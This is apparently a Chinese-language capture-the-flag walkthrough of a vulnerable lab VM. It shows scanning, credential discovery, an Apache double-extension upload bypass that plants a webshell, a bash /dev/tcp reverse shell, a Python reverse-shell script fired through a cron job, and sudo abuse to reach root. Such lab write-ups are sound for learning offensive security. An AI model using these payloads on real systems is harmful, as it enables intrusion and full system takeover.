一、网卡配置
网卡设置为nat模式,并修改mac地址为
08:00:27:A5:A6:76
开启虚拟机后IP地址在终端显示
二、端口扫描
nmap 192.168.121.183 -A
开启了80端口
访问
三、web信息收集
1.目录扫描
dirb 192.168.121.183
没什么可用信息
访问web服务找找功能点
貌似没有可用功能点,拼接访问robots.txt
给了三个路径,访问看看
发现都是这张图
给了说明:这里不是正确的URL,还得继续寻找
最终我们拼接访问首页的FRISTI,发现新页面
尝试弱口令爆破和sql注入,都无果
最后F12查看页面源码得到提示
说是对图片进行了base64加密
这是加密的值,我们对其进行解码
base64 -d decode.txt
发现是一个png类型的文件
我们将其输出到png文件中查看
base64 -d decode.txt > decode.png
可能是密码
我们再利用源码中的留言者作为用户,尝试登陆
eezeepz
keKkeKKeKKeKkEkkEk
登陆成功
出现了上传文件的功能点
四、getshell
上传一句话木马,失败
这里想起来它的中间件是apache
可以利用apache的解析漏洞,去绕过
在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.png
上传中,我们去提示路径下查看
fristi/uploads/shell2.php.jpg
成功解析
用蚁剑连接
成功获取shell
反弹shell
先用kali监听4444端口
nc -lvvp 4444
蚁剑打开虚拟终端 输入
bash -c 'bash -i >& /dev/tcp/192.168.121.171/4444 0>&1'
反弹成功
五、提权
1.sudo提权
sudo -l没有权限,查看home下的用户
发现有admin、eezeepz、fristigod三个用户
在eezeepz家目录下找到notes.txt
翻译一下:
我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次
可以在/tmp/
目录下放一个文件名为runthis的脚本文件,反弹shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.121.171",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
我这里使用kali开启远程服务,下载到目标机器上
然后运行这串命令
echo "/usr/bin/python /tmp/rev_shell.py" > /tmp/runthis
kali开启8888端口监听,反弹成功
获取admin用户的交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
看看有啥
有两个txt、两个py脚本,看看里面有啥信息
有两串base64编码值和一个编码脚本
whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
cryptpass.py
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
我们对脚本进行反向操作,将加密改为解密
import base64,codecs,sys
def decodeString(str):
rot13string = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(rot13string)
print(decodeString(sys.argv[1]))
将其保存到kali上命名为1.py
运行1.py脚本解密两串base64值
第一串值疑似fristigod用户的密码,我们尝试登陆
sudo -l查看具有sudo权限的程序
发现可以fristi权限运行/var/fristigod/.secret_admin_stuff/doCom
尝试以fristi权限运行一下/var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
说是该/var/fristigod/.secret_admin_stuff/doCom
文件后面得跟着命令
输入个id试试
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
是root权限,那么我们可以获取root的shell
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
提权成功